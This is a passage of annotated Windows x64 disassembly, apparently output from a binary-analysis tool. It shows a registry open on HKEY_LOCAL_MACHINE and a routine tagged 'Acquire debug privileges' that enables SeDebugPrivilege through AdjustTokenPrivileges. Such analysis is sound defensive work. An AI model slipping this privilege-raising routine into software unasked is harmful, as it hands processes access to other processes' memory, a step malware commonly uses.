xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
sete al
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400a2f90
add rsp, 0xb8
ret
Function at 0x14002a720
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x68
mov rax, qword [0x1400c6088]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, Ordinal_41
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea r8, [rsp + 0x38]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x44], rax
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x4c], 2
lea r9d, [rax + 0x10]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400a2f90
add rsp, 0x68
ret